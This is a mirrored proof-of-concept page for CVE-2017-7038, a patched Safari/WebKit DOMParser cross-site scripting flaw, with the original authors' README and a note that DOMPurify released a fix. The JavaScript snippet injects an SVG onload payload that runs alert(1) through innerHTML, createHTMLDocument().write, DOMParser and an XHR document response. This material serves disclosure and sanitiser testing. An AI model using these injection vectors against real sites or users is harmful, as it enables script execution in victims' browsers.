CVE-2017-7038 PoC — 多款Apple产品WebKit 跨站脚本漏洞

Source

https://github.com/ansjdnakjdnajkd/CVE-2017-7038

Associated Vulnerability

Title:多款Apple产品WebKit 跨站脚本漏洞 (CVE-2017-7038)
Description:A DOMParser XSS issue was discovered in certain Apple products. iOS before 10.3.3 is affected. Safari before 10.1.2 is affected. tvOS before 10.2.2 is affected. The issue involves the "WebKit" component.

Description

Safari XSS (CVE-2017-7038) https://support.apple.com/en-us/HT207923

Readme

# CVE-2017-7038
Safari XSS (CVE-2017-7038) https://support.apple.com/en-us/HT207923

**Document implementation XSS vulnerability**

```
var payload = '<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>';

document.createElement('body').innerHTML = payload;

document.implementation.createHTMLDocument().write(payload);

new DOMParser().parseFromString(payload, 'text/html');

var xhr = new XMLHttpRequest;
xhr.responseType='document'
xhr.open('GET', 'data:text/html,', false);
xhr.send(null);
xhr.response.body.innerHTML=payload;
```

Authors: [@ansjdnakjdnajkd](https://twitter.com/ansjdnakjdnajkd) and [@ShikariSenpai](https://twitter.com/ShikariSenpai)

Thanks and fix also at https://github.com/cure53/DOMPurify/releases/tag/0.8.7

File Snapshot


 [4.0K]  /data/pocs/04ea52eaac3a4db294f23a216444c6cd4efacb54
└── [ 767]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!